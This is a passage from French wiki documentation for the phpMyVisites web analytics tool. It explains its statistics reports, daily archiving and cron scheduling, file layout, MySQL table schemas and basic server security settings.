navigateurs restent très utilisés et il ne faut les négliger. Ne voyez pas dans la phrase « fournir du code HTML propre » un objectif long et rempli d'embûches, il suffit de respecter les quelques règles établies par la norme (X)HTML. ==== Résolutions ==== Ce récapitulatif des résolutions vous permettra de tirer d'intéressantes conclusions sur la présentation de votre site Internet. La résolution d'écran caractérise la quantité d'informations disponible, plus elle est élevée plus les visiteurs verront de choses, mais plus la taille globale des textes et images diminuera (sauf si le site s'étire automatiquement, voir ci-dessous). Les résolutions moyennes varient énormément selon le type de sites Internet et le public visé. Nous avons constaté, suite à des bilans effectués par les utilisateurs de phpMyVisites (bilans effectués sur des très grandes quantités de visiteurs : 30000 à 200000), que la « domination » d'une résolution en particulier ne pouvait pas être établie comme règle générale. Il est certain que sur des sites moyens, de contenu assez habituel (articles divers, contenu riche sur différents sujets, sites marchands), il est fréquent de voir la résolution 1024*768 prédominer avec plus de 30%. Cela représente la majorité des cas, mais il est impossible de négliger les autres résolutions d'écran : 800*600 notamment, ainsi que toutes les résolutions supérieures (qui sont très variées). A l'inverse sur un site traitant de sujets plus précis tel que le design, la conception (internet, multimédia, etc.), les résolutions prédominantes sont supérieures ou égales à 1280*1024. Le public ciblé est alors mieux équipé, cela se comprend facilement, et il semble important de faire un design en conséquence. D'une manière générale il est déconseillé d'optimiser son site pour une résolution en particulier : il est tout à fait possible de faire un design qui soit adaptable à tout type de résolutions, et qu'il le soit automatiquement. Cela est largement favorisé par l'utilisation des normes XHTML/CSS, même si le HTML 4 peut très bien faire l'affaire pour concevoir un design qui s'étire automatiquement. ==== Ecran large/normal ==== Ce récapitulatif est un « trip » du développeur de phpMyVisites, qui voulait voir la proportion d'écran large utilisée actuellement par les internautes, et éventuellement constater l'évolution du phénomène au cours des mois et années à venir. Un écran est dit large lorsque le rapport entre sa largeur et sa hauteur est supérieur à 1,4 (Ex : 1280*800 est un écran large, 1280*1024 est un écran classique). ==== Couleurs (profondeur d'écran) ==== L'information sur les profondeurs d'écran (nombre de couleurs en bits), n'a en soi que peu d'importance, sachant que la quasi majorité des utilisateurs sont maintenant en 16 bits minimum, et que cela suffit largement pour afficher correctement des images de sites Internet. ==== Plugins ==== Ce récapitulatif des principaux plugins vous permettra de tirer d'intéressantes conclusions sur les technologies disponibles dans les navigateurs de votre audience. Cela vous permettra de faire les meilleurs choix entre Java, Flash et Director si vous envisagez de proposer du contenu interactif, ou entre WindowsMedia, Quicktime ou RealVideo si vous voulez fournir des vidéos en streaming. Pour les vidéos streaming, il est de toutes façons déconseillé de fournir du WindowsMedia quand on sait que la compatibilité avec tous les systèmes est très aléatoire... De la même manière, si vous proposez déjà ces différents types de contenus, ces statistiques vous permettront de savoir si il est utile de continuer vos efforts pour proposer les différents formats ou si une technologie sort clairement du lot, auquel cas il pourrait être intéressant de la privilégier... === Affluents === Cette rubrique est fondamentale dans l'étude de l'audience : elle permet de déterminer d'où viennent vos visiteurs lorsqu'ils visitent le site Internet. Elle répond aussi à de nombreux autres points : a quoi est due cette soudaine augmentation de la popularité du site ? Création d'un partenariat, meilleure indexation dans les moteurs de recherche, ou bien un bouche à oreille fonctionnant plutôt bien ? Si vous êtes bien référencé dans les moteurs, les visiteurs arrivent ils avec les mots clés que vous aviez prévu ? ==== Récapitulatif ==== Le camembert 2D résume et dresse un bilan global de l'affluence de votre site. Il donne les proportions (détaillées par la suite) des arrivées par moteur de recherche, par site internet referrant, ou par entrée directe. Certains considèrent qu'un camembert idéal est un camembert à peu près équilibré (environ un tiers des arrivés par chaque moyen), mais vous pouvez bien sûr vous même fonder votre propre théorie du camembert. ==== Moteurs de recherche ==== Les moteurs de recherche prennent de plus en plus d'importance car de plus en plus sollicités par les utilisateurs. Le tableau présente les différents moteurs de recherche comptabilisés et leur proportion par rapport au total, et il est possible d'avoir les détails des mots clés utilisés pour chaque moteur (en cliquant sur le « + »). Vous constaterez certainement l'hégémonie du moteur Google qui à lui seul catalyse plus de 80% des recherches en moyenne. Néanmoins phpMyVisites ne se limite pas aux moteurs les plus connus et gère ainsi plus d'une centaine de moteurs différents (la liste est en constante évolution). Pour un webmaster, il est conseillé de connaître la qualité de son référencement : les moteurs de recherche apportent-ils un nombre conséquent de visites ? Suis je bien présent sur chacun d'entre eux ? M'apportent ils tous des visites ou bien seuls un ou deux moteurs sont pour moi rentables ? Vous pourrez accéder aux mots clés utilisés pour chaque moteur afin de voir si ces mots varient d'un moteur à l'autre. Si c'est le cas, quel moteur semble le plus pertinent ? ==== Mots clés ==== Le tableau vous présente les différents mots clés utilisés par vos visiteurs et qui ont permis d'aboutir sur votre site Internet. Cette indication est primordiale car elle permet de connaître les attentes en terme de contenu du site pour ces visiteurs (qui en général représentent entre 5 et 50% du total des visiteurs). Si les mots clés vous semblent cohérents avec le contenu de votre site Internet, il est intéressant d'améliorer son positionnement sur les mots qui sont majoritairement utilisés (ne négligez pas pour autant les autres mots clés car ils pourraient être peu utilisés du fait d'un mauvais classement sur le moteur pour ces mots précis). Si au contraire certains mots clés ne vous semblent pas parfaitement cohérents avec votre site, ou si les mots clés auxquels vous pensiez sont absents, posez vous les questions suivantes : les textes du site, les images et leur attributs alt, contiennent ils bien les chaînes qui m'intéressent ? Avez vous suffisamment utilisé ces mots sur le site ? (une phrase sur la page d'accueil décrivant le contenu ne suffit pas !). Pourquoi certains mots clés qui n'ont pas de rapport direct m'apportent ils des visiteurs ? Vos textes sont ils correctement ciblés, le vocabulaire employé est il cohérent (n'hésitez pas à employer des synonymes !). En répondant à ces quelques questions, vous pourrez mettre en avant d'éventuels problèmes sur votre site, lesquels il faudra corriger pour obtenir un meilleur « rendement » de vos arrivés par moteurs de recherche, et avec des mots clés intéressants (généralement les mots clés qui n'ont pas de rapport avec le site entraineront une visite à une page vue, ce qui n'est pas positif pour le site). ==== Sites Internet ==== Le tableau récapitulatif des sites Internet qui sont dits « referrants » vous permettra de connaître les pages Internet qui ont permis d'accéder à votre site. Il est très intéressant de connaître les sites Internet qui vous apportent des nouveaux visiteurs, vous constaterez ainsi le succès (ou l'inefficacité) de votre partenariat avec tel ou tel site, vous pourrez découvrir les sites qui parlent de votre site et font des liens sans que vous n'en ayez fait expressément la demande (signe de qualité certaine pour votre site). De la même manière vous pourrez découvrir si l'on parle de votre site sur des forums de discussion, si des accès sont réalisés par des annuaires, etc. Avoir des liens vers son site est très important pour la promotion et pour se faire connaître, de plus cela permet d'améliorer son référencement dans les moteurs de recherche qui utilisent cette information pour leur classement des sites. L'algorithme PageRank de Google est ainsi largement basé sur le nombre de liens qui pointent vers votre site Internet (n'hésitez pas à consulter le site http://www.webrankinfo.com/ pour plus d'informations sur le référencement et sur Google). ==== Entrées directes ==== Le nombre de visiteurs ayant accédé directement au site correspond aux visiteurs ayant accédé au site en tapant l'adresse dans leur navigateur ou à partir de leur marque-pages (« favoris », « bookmarks », « signets », etc. en fonction du navigateur utilisé). Cela traduit bien souvent l'intérêt des visiteurs pour le site, car ils ont retenu l'adresse ou pris soin de l'enregistrer ; ce sont souvent des visiteurs fidèles, qui visitent régulièrement (ou à fréquence régulière) le site pour voir les nouveautés et les changements. == Archivage == L'archivage est un procédé unique dans les application libres et gratuites. Directement inspiré des méthodes utilisées par les entreprises professionnelles éditant ce type d'outils, l'archivage des données propose de très nombreux avantages et est même indispensable pour la consultation de statistiques sur des sites à fort trafic. === Présentation === L'archivage consiste à calculer toutes les statistiques de visites à partir des informations brutes enregistrées pour chaque utilisateur lors de leur visite sur le site web. Les résultats des calculs sont alors stockés définitivement dans la base de données. L’archivage dynamique des données a de nombreux avantages : il permet une forte diminution de l’espace disque de la base de données (20% à 40%), économise les ressources serveurs (les calculs d’une période terminée ne sont effectués qu’une seule fois) et surtout un gain de performances saisissant : le temps d’exécution est de 5 à 20 fois plus court, ce qui permet l’accès à des statistiques plus poussées dans certains domaines (suivi du visiteur par exemple). Le développement de l’ensemble des fonctions d’archivage dynamique au sein de phpMyVisites a nécessité plus de 60 heures de développement. phpMyVisites est la seule application libre à proposer cette puissante alternative, qui rend possible la consultation des statistiques temps réel sur des sites à fort trafic, et le développement de nouvelles analyses. === Comment fonctionne t-il ? === Son fonctionnement est simple : lors de la consultation d’une journée, l’archivage dynamique se lance automatiquement et calcule toutes les informations (toutes les données qui apparaissent lors de la consultation des statistiques) pour cette journée. La masse de calcul est considérable, notamment pour les sites à fort trafic, puisque la totalité des informations ’pré calculées’ peut représenter plusieurs centaines de milliers de caractères. Le tout est ensuite stockée sous forme de texte dans la base de données. Il ne reste alors qu’à faire une simple sélection des données (procédé très rapide à réaliser pour le serveur, donc qui utilise très peu de ressources) et à mettre en forme ces tableaux de données. Une fois les calculs effectués avec succès, les champs de la table des logs sont supprimés ; ils ne seront plus utilisés. Le gain d’espace disque est conséquent. === Pourquoi l’archivage systématique ? === Bien que l’archivage d’une journée puisse nécessiter plusieurs secondes de calcul, le calcul est effectué une seule fois pour toujours (il est stocké dans la base de données). Ainsi le serveur, à chaque consultation des différents statistiques pour la même date, ne doit pas ré-effectuer les mêmes masses de calcul comme ce serait le cas sans l’archivage. Le temps de calcul ne pose aucun problème sur des sites à faible trafic (entendons moins de 100 visites par jour), l’archivage a donc pour ceux-ci une fonction principale de ’purge des données’ et l’économie des ressources serveurs. La rapidité peut devenir problématique sur des sites à trafic moyen (300 visites par jour par exemple) et constitue l’ennemi principal des sites à fort trafic, lesquels ne peuvent pas calculer leurs statistiques dans un temps acceptable. === Archivage d’une période === La première fois que vous consultez les données d’une semaine ou d’un mois, l’archivage dynamique calcule les données pour cette période. Il base son calcul sur le calcul de chaque jour de la période ; cela signifie donc que si vous n’avez consulté aucun jour de la période, l’archivage calculera et stockera les données de chaque jour séparément avant de calculer la période sélectionné. La durée du calcul est là encore fonction du trafic : il est normal que sur une période comme la semaine, l’archivage mette quelques secondes à s’effectuer. Constatez ensuite par vous même la rapidité de chargement de toutes les pages ; une telle rapidité ne serait pas possible sans la phase d’archivage préalable. === Archivage temporaire === Si vous consultez des statistiques sur des périodes qui ne sont pas terminées (jour d’aujourd’hui, la semaine ou le mois en cours), la fonction d’archivage le reconnaîtra automatiquement et n’archivera que ’temporairement’ les données. Attention, il est déconseillé, pour les sites à fort trafic, de consulter les statistiques du jour en cours en raison de la quantité des informations à calculer, et ce à chaque page (l’archivage temporaire du jour d’aujourd’hui est recalculé à chaque consultation des statistiques). Cela a moins d’importance pour la semaine ou mois en cours car ne sont archivés que les jours terminés, ce qui signifie que les statistiques ne prennent pas en compte les données du jour d’aujourd’hui non terminé. Il est de toutes façons beaucoup plus intéressant d’analyser des statistiques sur des périodes qui sont terminées, et de comparer ces données aux périodes précédentes elles aussi terminées. === Notes importantes pour les sites à fort trafic === Dans le cas de sites Internet à forte ou très forte audience, le calcul des statistiques de phpMyVisites peut poser problème, car gourmand en ressources. Pour éviter que votre serveur ne soit pendant trop longtemps surchargé en pleine journée, nous conseillons activement aux administrateurs de configurer un « crontab » (système d'exécution programmée de programmes) pour lancer les calculs des statistiques dans la nuit, heure visiteurs. L'expérience montre que programmer le lancement des archivages des jours/mois/semaines à 3 heure du matin permettait de minimiser très fortement les gênes occasionnées. D'un point de vue technique, il suffit de lancer la consultation des pages jours/semaines/mois, l'archivage se fera automatiquement. Il faut donc visiter les pages : * http://www.votresite.com/phpmyvisites/ * http://www.votresite.com/phpmyvisites/?per=3 * http://www.votresite.com/phpmyvisites/?per=2 Programmez le crontab (ou utilisez les services du site http://www.webcron.org) vers 4h du matin (heure la moins fréquentée). Notez qu'il faut laisser environ 20 min entre chaque page, pour laisser le temps au serveur de calculer les statistiques (notamment sur les sites à très fort trafic). == Rapidité et performances générales de l’application sur différentes configurations == phpMyVisites est optimisé pour des fonctionnements optimaux sur tous les types de sites Internet. L'ensemble des phases de calcul a été optimisée, du point de vue php mais aussi des requêtes base de données. Les sites à faibles fréquentations (inférieures à 400 visites/jour environ) sont parfaitement gérés, quelle que soit la capacité du serveur qui héberge phpMyVisites. Les sites moyens (de 400 à 2000 visites/jour environ) sont de la même manière très bien gérés, sur la plus grande majorité des hébergements gratuits et professionnels. Cela pourrait néanmoins poser des problèmes sur des serveurs de qualité limitée (ex de certains hébergeurs gratuits comme Free), qui limitent les temps d'exécution des scripts php, ce qui peut bloquer le calcul de l'archivage. Néanmoins les hébergements ainsi « bridés » sont très rares, et dans la grande majorité des cas vous ne rencontrerez aucun problème. Les sites à fort trafic (environ plus de 2000 visites/jour) seront très bien gérés si le serveur hébergeant phpMyVisites est rapide et performant. Un hébergement sur serveur dédié n'est pourtant pas nécessaire pour des fréquentations inférieures à 20000 visites/jour, si votre hébergement mutualisé propose de très bonnes performances. Au dessus de cette limite (qui n'a rien de précise, car elle dépend entièrement des qualités de votre hébergement), il sera sûrement nécessaire d'héberger phpMyVisites sur un serveur dédié (celui de votre site, bien sûr). Les phases de calcul de périodes longues (périodes des mois notamment) sont très gourmandes en ressources et vous pourriez ne pas pouvoir archiver les périodes pour obtenir les statistiques que vous souhaitez. Nous serions très intéressé d'obtenir de la part des utilisateurs leurs avis sur les performances de phpMyVisites. Si vous voulez nous aider, nous vous proposons une courte démarche à réaliser (lisez la suite). Lorsque vous lancez l'archivage de vos stats sur le mois (le mois est fini ou non), phpMyVisites effectue de nombreux calculs et requêtes sur la base de données (il enregistre ensuite toutes les données précalculées dans la base). Une fois cette phase terminée et que les statistiques demandées s'affichent à l'écran, vous avez tout en bas de la page le temps de génération de la page. Il peut être très faible (moins d'une seconde pour un mois entier sur des petits sites) ou très élevé (plus de 100 secondes sur des sites à grandes fréquentations). Voici les informations que nous aimerions recevoir : * temps de génération de la page (écrit en gris clair en bas de la page) pour la page qui vient d'effectuer le calcul d'archivage * nombre de visiteurs pour la période archivée (nous conseillons de faire ce test sur des mois terminés ou presque terminés) * hébergement gratuit ou professionnel (si vous le souhaitez, précisez la société) * type de l'hébergement : mutualisé (cela concerne la majorité des hébergements, signifie que le serveur qui vous héberge le fait pour plusieurs sites à la fois, d'où le terme de mutualisé) ou dédié (le serveur ne s'occupe que de votre site Internet, ou d'un très faible nombre, la rapidité est très élevée et les performances très importantes) Merci d'avance aux utilisateurs de phpMyVisites qui effectueront ce rapide test. Vous pouvez envoyer le résultat (temps de génération de la page + infos ci-dessus) via le formulaire de contacts sur le site officiel. Documentation phpMyVisites/Fonctionnement 4489 27460 2005-12-23T19:55:19Z 82.232.48.4 /* Tables archives (phpmv_a*) */ [[Catégorie:Documentation phpMyVisites|Fonctionnement]] Cette partie plus technique a pour but de fournir une présentation du fonctionnement de l'application phpMyVisites. Cette partie sera utile aux curieux et aux personnes désireuses de modifier phpMyVisites selon leur besoin, pour par exemple ajouter de nouvelles fonctionnalités. Il est conseillé de contacter l'auteur avant d'essayer de programmer quelconque nouveauté, afin de discuter avec l'équipe de développement (qui a une très bonne connaissance de l'ensemble de l'application) de la meilleure solution technique à utiliser. == Arborescence et fichiers == Vous trouverez ci-dessous une rapide description des fichiers et répertoires de phpMyVisites. Cela permettra aux personnes désirant personnaliser phpMyVisites d’avoir une vision globale de l’architecture de l’application. * ''index.php'' : fichier principal de phpMyVisites où est géré l'affichage des différentes rubriques de statistiques * ''phpmyvisites.js'' : code javascript principal, appelé par le court code javascript situé sur les pages du site * ''phpmyvisites.php'' : fichier appelé par le code Javascript qui permet l'enregistrement dans la base de données des logs des visiteurs * ''login.php'' : fichier permettant la connexion via les sessions php * ''config.php'' : fichier crée dynamiquement qui contient les informations sur la configuration générale de l'application : nombre de sites installés, login/mot de passe, adresse du phpmyvisites sur le serveur, type de protection (statistiques ou seulement administration), affichage des graphiques, et affichage ou non du logo * ''configX.php'' : fichier crée dynamiquement qui contient toutes les informations sur l'accès à la base de données (identifiants, serveur, noms des tables). Contient aussi les paramètres GET à ne pas prendre en compte * ''langdispos.php'' : fichier crée dynamiquement qui contient les noms et fichiers des langues disponibles, ainsi que les noms et contacts des traducteurs * ''nomsites.php'' : fichier crée dynamiquement qui contient les noms et adresses des sites Internet configurés dans phpMyVisites * ''styles.php'' : contient les styles CSS de phpMyVisites (conformes à la norme CSS2) * ''version.php'' : contient le numéro de version * '''docs/''' ** ''changelog'' : fichier journal des changements mineurs & majeurs entre les différentes versions depuis la création de phpMyVisites ** ''licence'' et ''licence_fr'' : licence GNU/GPL français (licence_fr) et anglais (license) ** ''readme'' : rapides explications et redirection vers cette présente documentation ** ''documentation.htm'' : cette présente documentation au format HTML (format PDF disponible sur le site officiel de phpMyVisites) * '''graphs/''' ** ''graph_*.php'' : fichiers générant les graphiques automatiquement (sélection base de données, formatage des résultats, routines JPGraph pour construction des images) ** ''jpgraph_*.php'' : fichiers contenant toutes les fonctions et classes pour la génération dynamique des images. JPGraph est une puissante librairie distribuée sous license QPL 1.0 (cf description JPGraph). ** ''tri_graph.php'' : fichier de traitement des tableaux issus de la sélection de la base de données afin de correctement les formater et les trier ** ''config_graph.inc.php'' : variables utilisées dans la génération des graphiques (dimensions, couleurs, polices, tailles, etc.) ** '''graphs/fonts/''' (répertoire contenant les polices utilisées dans la génération des graphs) ** '''graphs/maps/''' (répertoire contenant les cartes utilisées pour la génération des mappemondes dynamiques, ainsi que la barre indiquant les couleurs en fonction des pourcentages) * '''images/''' * '''logos/''' : logos de phpMyVisites sélectionnables pour l'affichage sur les sites internet audités. Les contributions des utilisateurs sont régulièrement ajoutées à ce répertoire et automatiquement pris en compte dans la pop-up de sélection des logos * '''browsers/''' : logos des navigateurs * '''os/''' : logos des systèmes d'exploitation * '''flags/''' : logos des pays (images des drapeaux de tous les pays) * '''include/''' ** ''adminconfig.php'' : fichier qui gère la rubrique administration et configuration ** ''archiver_jour.php'' : fonction d’archivage d’un jour donné ** ''archiver_periode.php'' : fonctions d’archivage d’une période donnée ; fonctions d’archivage automatique d’une semaine et d’un mois ** ''calc_affluents.php'' : calcule les tableaux de données pour les affluents ** ''connect.php'' : connexion et sélection MySQL ** ''coord_pays.php'' : coordonnées des labels des noms de pays pour l'écriture sur la mappemonde ** ''footer.php'' : fichier qui contient le bas de page html des pages générées ** ''functions.php'' : fonctions php nécessaires à l’affichage et la configuration/installation ** ''functions_disp.php'' : fonctions utilisées dans l'affichage de données à l'écran ** ''functions_phpmv.php'' : fonctions utilisées pour l'enregistrement des logs des visiteurs ** ''header.php'' : contient les meta-tags, balises d’ouverture de page, etc. ** ''install.php'' : fichier qui gère l'installation ** ''list_logos.php : pop-up dynamique qui liste les logos de phpMyVisites disponibles ** ''mappemonde.php'' : calculs, pointage des pays, affichage de la mappemonde et des continents ** ''menu.js'' : menu horizontal déroulant compatible XHTML ** ''microtime.php'' : fonction permettant de connaître le temps d’exécution du script ** ''moteurs.php'' : tableau des moteurs de recherches ** ''navigateur.class.php'' : fichiers qui permet la détection du navigateur et du système d'exploitation ** ''os.php'' : tableaux des systèmes d’exploitation ** ''set_lang.php'' : fichier qui définit la langue utilisée pour la consultation de phpMyVisites ** ''test_db_cfg.php'' : tests de connexion/sélection à la base MySQL lors de l’installation ** ''vars.php'' : contient de nombreuses définitions de variables et de traitement de la période sélectionnée ** '''include/display/''' *** ''calendrier.php'' : fichier d’affichage du calendrier en fonction de la date sélectionnée ; colore la période sélectionnée ; prend en compte la date de début des statistiques *** ''period_selection.php'' : affiche le menu de sélection de la période à analyser *** ''sites_selection.php'' : affiche le menu déroulant permettant la sélection des sites *** ''topmenu.php'' : affiche le menu principal de sélection des rubriques * '''/langs''' ** ''compare.php'' : fichier en cours de test qui permet la comparaison du fichier de langue original et d'un fichier traduit. ** ''encode2utf8.php'' : fichier qui convertit un fichier spécifié dans le jeu de caractères UTF-8 (voir la partie Traductions pour plus d'informations) ** ''update_lg_files.php' : fichier qui permet l'ajout automatique des phrases anglaises dans toutes les traductions qui ne sont pas à jour. Cela permet de toujours avoir tous les fichiers de langues à jour (certains seront donc un mélange de la langue et d'anglais). Les traducteurs n'ont alors qu'à traduire les phrases en anglais pour maintenir à jour les traductions. ** ''xx-utf-8.php'' : fichier des textes de la langue xx ** ''show.php'' : affiche le code colorié d'un fichier donné == Architecture des tables de la base de données == Lors de l’installation ou de l’ajout d’un nouveau site, 6 tables sont créées dans la base Mysql configurée *phpmv *phpmv_pv *phpmv_suivi *phpmv_ajours *phpmv_asemaines *phpmv_amois *phpmv_bdd_vars === Table phpmv === {| border="1" ! Champ !! Description !! Type |- | Id || auto_increment || Mediumint(7) |- | IdVisiteur || Id du cookie du visiteur || varchar(32) |- | nv || Nv=1 si c'est la première visite, 0 sinon || tinyint(1) |- | date || Date du serveur lors de la première page vue || date |- | time || Heure locale du visiteur || time |- | stime || Heure du serveur || time |- | ttime || Temps total de visite du visiteur || mediumint(5) |- | referrer || Page referrer || varchar(255) |- | pv_debut || Page d’arrivée sur le site || varchar(255) |- | pv_fin || Page de sortie (dernière page vue) || varchar(255) |- | nb_pv || Nombre de pages vues par le visiteur || smallint(4) |- | host || HOST du visiteur || varchar(100) |- | ip || IP du visiteur || varchar(20) |- | os || Système d’exploitation || char(3) |- | navig || Navigateur || varchar(6) |- | resol || Résolution (largeur x hauteur) || varchar(9) |- | coul || Profondeur de l’écran (en bits) || tinyint(2) |- | pays || Pays (après traitement de host et lang navig) || char(2) |- | lang_navig || Langue du navigateur (utile pour debug) || varchar(10) |- | agent || Agent (utile pour debug). Infos navigateur et os || varchar(150) |- | flash || Acceptation du plugin || tinyint(3) |- | director || idem || tinyint(3) |- | quicktime || idem || tinyint(3) |- | real || idem || tinyint(3) |- | windowsmedia || idem || tinyint(3) |- | pdf || idem || tinyint(3) |- | java || idem || tinyint(3) |} Dans cette table sont stockées toutes les informations sur le visiteur (voir tableau ci-dessus pour détails) qui seront ensuite retraitées lors de l’archivage. Chaque nouvelle visite est accompagnée d’un nouvel enregistrement dans cette table. Si le visiteur est connu, on update ’ttime’, ’pv_fin’ et ’nb_pv’. Chaque champ est optimisé au maximum; les enregistrements et sélections dans cette table doivent être le plus rapide possible, car plusieurs requêtes sont effectuées pour chaque page vue (par le fichier phpmyvisites.php). === Table phpmv_pv === {| border="1" ! Champ !! Description !! Type |- | Id || auto_increment || smallint(5) |- | page || URL de la page || varchar(255) |- | nb || Nombre de hit sur cette page à la date date || Smallint(5) |- | date || Date correspondante || Date |} Lorsqu’une page est visitée pour la première fois pour un jour donné, un nouvel enregistrement a lieu dans la table phpmv pv. Si la page a déjà été visitée pour la date donnée, on update nb. === Table phpmv_suivi === {| border="1" ! Champ !! Description !! Type |- | id || auto_increment || mediumint(8) |- | page1 || Page vue précédant la page vue notée page2 || varchar(255) |- | page2 || Page vue sélectionnée, précédée de la page1 || varchar(255) |- | nb || Nombre de visiteur ayant réalisé le trajet page1 - page2 || smallint(5) |- | date || Date correspondante || date |} A chaque page vue, si le suivi page1 - page2 est enregistré dans la table pour la date donnée, on update nb. Si le suivi n’a pas encore été fait par un visiteur, on l’insère dans la table avec nb valant 1. === Tables archives (phpmv_a*) === {| border="1" ! Champ !! Description !! Type |- | id || auto_increment || smallint(5) |- | done || 1 : ok ; 2 : temporaire ; vide : problème || tinyint(1) |- | date || Date de la période archivée (ou du début de la période) || date |- | visiteurs || Nombre de visiteurs uniques || mediumint(8) |- | vis || Nombre de visites || mediumint(8) |- | vis_hs || Visites par heure serveur || text |- | vis_hl || Visites par heure locale (ainsi que proportion domicile/travail) || text |- | pv || Nombre de pages vues total || mediumint(8) |- | pv_hs || Pages vues par heures serveur || text |- | pv_hl || Pages vues par heure locale || text |- | pv_diff || Nombre de pages accédées différentes || smallint(5) |- | pv_max || Nombre de pages vues max pour une visite || smallint(5) |- | vis1pv || Nombre de visite à une page vue || smallint(5) |- | hit_pv || Nombre de visites par page vues pour chaque page || longtext |- | hit_nbpv || Nombre de visiteurs par nombre de pages vues || text |- | hit_time || Nombre de visites par temps par chaque période d’une minute || text |- | sum_time || Somme des temps de visite en secondes || mediumint(8) |- | pv_debut || Nombre de visites par page d’entrée || longtext |- | pv_fin || Nombre de visites par page de sortie || longtext |- | suivi || Nombre de visites pour chaque ensemble page1 - page2 || longtext |- | pays || Nombre de visites par pays pour chaque pays || text |- | fai || Nombre de visites par provider pour chaque provider || mediumtext |- | os || Nombre de visites par OS pour chaque OS || text |- | navig || Nombre de visites par navigateur pour chaque navigateur || text |- | resol || Nombre de visites par résolution pour chaque résolution || text |- | coul || Nombre de visites par profondeur d’écran (en bits) || varchar(255) |- | plugins || Taux d'acceptation des plugins || varchar(255) |- | moteurs || Nombre de visites par moteur pour chaque moteur || mediumtext |- | mots || Nombre de visites par mot clé pour chaque mot clé || mediumtext |- | sitesrefs || Nombre de visites par site referrer pour chaque site referrer || mediumtext |- | nb_moteurs || Nombre de visites provenant d’un moteur de recherche || smallint(5) |- | nb_sites || Nombre de visites provenant de liens sur d’autres sites || smallint(5) |- | nb_direct || Nombre de visites directes || smallint(5) |} La table des archives des mois et semaines présentent un champ supplémentaire : ’date_fin’ qui indique la date de fin de la période archivée ; cela permet de savoir si il est utile de recalculer les archivages pour les périodes temporaires. Dans les tables d’archivage sont stockées toutes les statistiques pré-calculées. Chaque champ est ensuite sélectionné puis affiché dans les pages de consultation des statistiques. Les champs de type ’text’, ’mediumtext’ et ’longtext’ sont des tableaux php sérialisés. Les autres champs sont des valeurs numériques. En version 1.1, les champs ’pv debut’, ’pv fin’, ’hit pv’ et ’suivi’ sont passés au type LONGTEXT. La mise à jour est automatique lors de l’installation. == Valide XHTML 1.1 CSS == L’évolution du HTML vers le XHTML est la conséquence de nouvelles attentes, les aspects d'accessibilité, la multiplication des supports de lecture et les habitudes de programmation de plus en plus basées sur des pages construites dynamiquement. Le HTML pose de problèmes pour ces pratiques, car la structure est très rigide, le contenu et la mise en forme étant mélangés. Avec le XHTML, les données sont séparées de la mise en forme qui sera assurée en fonction du support par des feuilles de style CSS. Le XHTML est basé sur le XML qui est un langage de description des données, toutes les balises de présentation du HTML sont donc devenus obsolètes. Un autre gros avantage du formatage des données est d’avoir des pages beaucoup plus légères et un traitement amélioré par les navigateurs et au final une navigation plus confortable pour les internautes et une maintenance facilitée pour les programmeurs. Pour phpMyVisites l’avantage est de pouvoir personnaliser facilement la présentation en ne modifiant que les feuille de styles. Tous les navigateurs récents sont maintenant supportés (IE >= 5, Mozilla et ses dérivés, Opera 7, Konqueror 3), mais le rendu avec les anciens navigateurs comme Netscape 4.X est très sommaire. Si vous disposez d'un de ces navigateurs avec lesquels la consultation des statistiques de phpMyVisites ne vous est pas possible, nous vous recommandons vivement l'utilisation du splendide navigateur Firefox, qui est très stable, rapide, puissant et complet. C'est le nouveau-né de la famille Mozilla, qui se compare aisément en terme de fonctionnalités avec Internet Explorer (il le surpasse même dans la quasi totalité des domaines). Pour le télécharger, visitez le site http://www.mozilla.org/products/firefox/ : bon surf ! == Librairie graphique == Les graphiques de phpMyVisites sont générés grâce à la puissante librairie JPGraph (http://www.aditus.nu/jpgraph/) distribuée sous license QPL. Il faut bien noter la différence de licences, ce qui explique que JPGraph ne soit pas directement inclue à l’application, il est nécessaire de laisser les fichiers distincts avec la notice de la license QPL en haut de chaque fichier jpgraph*.php. Les graphiques disponibles dans phpMyVisites sont de plusieurs types : * graphiques à barres verticales détaillant le nombre de visites/pages vues par heure serveur et heure locale, le nombre de visites par temps de visite ou encore le nombre de visiteurs par nombre de pages vues. * graphiques de type camembert 3D pour tous les résumés des statistiques concernant les pays d’origine des visiteurs, les configurations matérielles (OS, navigateurs, résolutions, profondeur de couleur). * graphique de type camembert 2D pour le résumé des referrants (sites, moteurs de recherche ou entrée directes). Les graphiques ne sont pas stockés sur le serveur mais recalculés à chaque consultation. Dans une prochaine version, les possibilités de cache permises par JPGraph seront certainement utilisées, ce qui limitera les ressources serveur utilisées lors de la génération des graphiques. == Sécurité générale == La sécurité dans phpMyVisites est un domaine sur lequel l'équipe de développement travaille constamment. phpMyVisites utilise le procédé des sessions php pour la connexion, procédé inviolable et entièrement sécurisé. Le mot de passe pour accéder à l'administration est codé dans le fichier de configuration. De nombreux tests sont réalisés afin d'empêcher toute tentative de hacking via phpMyVisites (SQL Injection ou Cross Site Scripting). Néanmoins il convient de respecter les règles suivantes afin de minimiser les problèmes : # ne pas permettre l'affichage de phpinfo(); sur aucune page visible de votre site # mettre « register_globals » à « off » dans votre configuration php # mettre « display_errors » à « off », et « log_errors » à « on ». C'est très important car les messages d'erreur sont une mine d'informations énorme pour un pirate. Même si en temps normal aucune erreur ne s'affiche sur votre site, le pirate fait en sorte d'afficher les erreurs lui-même, et il en tire de nombreuses informations. # faire des sauvegardes régulières de sa base de données (donc des données des tables de phpMyVisites), cela évite de tout perdre en cas d'attaque # penser à créer un mot de passe complexe avec lettres et chiffres et au moins 6 caractères de longueur (il est très facile de créer un script pour attaquer un site web par dictionnaire, il y a même des logiciels qui font cela, et qui fonctionnent très bien quand le mot de passe est simple) # le mot de passe admin NE DOIT PAS être le même que le ftp et/ou le mysql (ce que l'on voit trop souvent). Il est évident de plus qu'il ne faut pas éditer les fichiers de phpMyVisites sans être sûr de soi, afin de ne pas créer d'éventuelles failles de sécurité ou autre. En respectant ces quelques règles, vous n'aurez presque aucune possibilité de vous faire pirater votre serveur, nous vous conseillons donc de les suivre précisément (si vous en avez les possibilités). == Ajouter un moteur de recherche == Vous pourrez rencontrer, dans les statistiques de la rubrique « Affluents », des arrivées par des sites Internet qui n'en sont pas réellement : certains peuvent en effet être des moteurs de recherche qui ne sont pas reconnus comme tel par phpMyVisites. Pour corriger ce problème, il vous suffit d'ajouter ce moteur dans la liste des moteurs gérés par phpMyVisites, en éditant le fichier /include/moteurs.php et en créant une nouvelle ligne contenant le nom, l'adresse Internet du moteur, et la variable qui contient les mots clés lorsque vous effectuez une recherche. Pour connaitre cette variable, effectuez vous même une recherche sur le moteur que vous souhaitez ajouter à la liste, et observez l'URL de la page où sont 